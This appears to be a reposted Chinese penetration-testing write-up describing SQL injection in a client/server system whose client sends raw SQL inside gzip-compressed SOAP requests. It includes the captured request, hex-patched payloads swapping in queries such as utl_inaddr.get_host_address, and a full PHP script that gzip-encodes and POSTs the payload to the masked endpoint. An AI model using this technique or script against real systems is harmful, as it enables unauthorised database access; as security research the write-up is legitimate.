某c/s架构系统的一次sql注入记录
2020-04-13 09:37:26 Author: xz.aliyun.com(查看原文) 阅读量:243 收藏

前言


在渗透该C/S架构的系统时,我们通常会使用Wireshark抓取传输流量分析数据包,在分析时发现传输协议使用http协议但是数据使用了gzip方式压缩。
在进行漏洞挖掘时,我对于该系统的业务功能进行逐个尝试,并且观察对应的数据包,经过解码后发现有某些数据包中存在了SQL语句。接下来的挖掘思路转换为通过更改原始的SQL语句,然后把更改后的数据包进行gzip编码后重新发送,验证我们的SQL注入有没有成功执行。

SQL查询的发现


首先,我们要对于客户端的流量进行一个抓取,使用Wireshark抓取流量的话没法方便查看GZIP解码之后的数据。所以我的方式是使用BurpSuite来抓取流量,利用BurpSuite自带的GZIP解码功能能够方便查看解码之后的请求包和响应包。但是有一个小Bug,发送时必须更改回原来编码的格式,这个过程Burpsuite没办法自己完成。

代理方式:在一个windows虚拟机中运行该客户端,然后在虚拟机设置局域网代理,设置为我们本机的一个虚拟机网卡,然后在BurpSuite上设置监听该网卡就可以了。

接下来我对于该客户端的业务功能进行逐个排查,在执行某业务的表单查询功能时,我在交互数据包中发现了意外之喜,在中间一个数据包中出现了连表查询的SQL语句。下面是解码之后的数据包

POST /TdsWebService/OracleDeveloperSVC.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "ExecuteDataSet"
Host: x.x.x.x
Content-Length: 1156
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: close
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ExecuteDataSet xmlns="http:/x.x.x.x"><loginKey><OperatorId xmlns="http:/x.x.x.x">116307830</OperatorId><Version xmlns="http:/x.x.x.x">1.0</Version><UserType xmlns="http:/x.x.x.x">TDS</UserType><CompanyId xmlns="http:/x.x.x.x">910</CompanyId><LanguageCode xmlns="http:/x.x.x.x">CN</LanguageCode><Transcode xmlns="http:/x.x.x.x">Login</Transcode><LoginStamp xmlns="http:/x.x.x.x">20190827101905679116307830</LoginStamp><FinLoginYear xsi:nil="true" xmlns="http:/x.x.x.x"/></loginKey><sql>
select a.* 
  from sysc106 a
  INNER JOIN sysc106c b ON b.vtranscode = a.vtranscode AND b.ncompanyid = a.ncompanyid
 where a.ncompanyid = 194910 </sql></ExecuteDataSet></s:Body></s:Envelope>

传输时的原始数据

构造SQL注入

从我们发现的数据包来看,中间<sql>参数直接传递了一个SQL语句去交给后端执行,我的思路是通过替换该SQL语句来执行恶意的SQL语句(这都可以叫做时SQL的代码执行)。
为了方便我们替换SQL语句,我首先把数据包全部转成16进制形式,然后定位select出现的位置,接着替换为恶意SQL代码的16进制形式然后在转换成字符形式发送给服务端。
完整的构造过程:
第一步, 获得原始数据包的16进制形式
原始数据包(使用16进制保存)-> 16进制转换字符串 -> gzdecode()函数解码(php函数) -> 字符串转换18进制
第二步,构造SQL注入</sql>

对于原始的16进制数据进行SQL语句替换
56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a    //不需要更改数据
73656c65637420757365722066726f6d206475616c20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020    //经过填充后的SQL语句 大小为296(语句长度必须与原语句长度相同)
01010101   //结束字符

第三步,将更改后的16进制数据转换为字符传然后进行gzip编码后重新发送
利用脚本

<?php
$data = '';   //gzip编码数据解码(需要先将数据保存为16进制格式)
$re1 =  gzdecode(hex2bin($data));
echo  bin2hex($re1);
echo $re1.PHP_EOL;
$req = '56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a73656c6563742075746c5f696e616464722e6765745f686f73745f616464726573732066726f6d206475616c202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202001010101';
//构造payload
$req_encode = gzencode(hex2bin($req));
//$req_encode = gzencode($re1);
function httpRequest($sUrl, $aHeader, $aData){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $sUrl);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $aData);
    $sResult = curl_exec($ch);
    if($sError=curl_error($ch)){
        die($sError);
    }
    curl_close($ch);
    return $sResult;
}
$sUrl = 'http://x.x.x.x/TdsWebService/OracleDeveloperSVC.svc';
$aData = $req_encode;
$aHeader = array('Content-Type: application/x-gzip','Accept-Encoding: gzip, deflate','Content-Length: ' . strlen($aData));
echo  gzdecode(httpRequest($sUrl,$aHeader,$aData));

利用结果

小结

在黑盒挖掘系统漏洞时,要细心验证每一个业务系统功能,查看相对应的所有交互数据包,然后去验证你的猜想,有时候开发人员的脑洞会让你有意外之喜。


文章来源: http://xz.aliyun.com/t/7536
如有侵权请联系:admin#unsafe.sh